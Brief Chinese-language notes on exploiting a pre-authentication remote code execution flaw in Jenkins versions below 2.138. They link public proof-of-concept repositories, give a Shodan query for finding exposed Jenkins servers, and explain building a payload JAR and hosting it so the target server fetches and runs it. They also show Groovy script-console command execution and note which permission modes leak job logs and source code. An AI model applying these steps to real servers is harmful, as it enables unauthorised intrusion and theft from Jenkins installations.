Jenkins version < 2.138
参考:https://github.com/orangetw/awesome-jenkins-rce-2019
修改默认端口:
java -jar jenkins.war --ajp13Port=-1 --httpPort=8081
https://www.shodan.io/search?query=X-Jenkins%3A+2.73
PoC:
https://github.com/petercunha/Jenkins-PreAuth-RCE-PoC
修改code目录下的代码,运行./build.sh,生成Payload-1.jar,放到网站的根目录下的package/payload/1/
使得jenkins可以通过http://host//package/payload/1/payload-1.jar
访问到。
执行成功之后会显示:
笔记
jenkins的script中执行命令的语法:
println("id".execute().getText())
print "id".execute().text
Jenkins的权限控制
- Full Access(完全权限)
对Jenkins有完全控制权,可在界面执行任意Groovy代码。 - Read-only Mode(只读模式, ANONYMOUS=True)
需要在全局安全配置
设置匿名用户具有可读权限
这种模式下,所有内容都可读,最大对用处就是可看到工作日志,job/node等敏感信息,以及源代码。 - Authenticated Mode(ANONYMOUS=False)
这是Jenkins的默认配置,没有账号密码的情况下无法看到任何信息。